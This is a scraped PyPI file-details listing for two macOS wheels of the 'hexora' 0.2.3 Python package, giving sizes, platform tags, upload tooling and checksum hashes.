8e72c99ec596b20ed766a28c6470883f5b0ad2d7037a2d8e9b7ab2611f0a9813
|
File details
Details for the file hexora-0.2.3-cp39-cp39-macosx_11_0_arm64.whl.
File metadata
- Download URL: hexora-0.2.3-cp39-cp39-macosx_11_0_arm64.whl
- Upload date:
- Size: 2.5 MB
- Tags: CPython 3.9, macOS 11.0+ ARM64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
f93ec2e7801ab8b1becb57f9df1a9777ea0293a377f6d3251c980c40ddd7780f
|
|
| MD5 |
b827d8f88443f129aa2ce898479d94cf
|
|
| BLAKE2b-256 |
cc44ad9822b89fdd7931717b187c95f4da36e100450c98d90b33d66a8a96ba5c
|
File details
Details for the file hexora-0.2.3-cp39-cp39-macosx_10_12_x86_64.whl.
File metadata
- Download URL: hexora-0.2.3-cp39-cp39-macosx_10_12_x86_64.whl
- Upload date:
- Size: 2.7 MB
- Tags: CPython 3.9, macOS 10.12+ x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
bc2e4882bb7ecb51a5a9bc35544f56472f60f3b638952fcb37b010476024d04a
|
|
| MD5 |
4c31604948d604233172797ecb27edaf
|
|
| BLAKE2b-256 |
5893ecf68f69c47d91c1607c8e786e4acda9021907f212cd56c1959f0589108e
|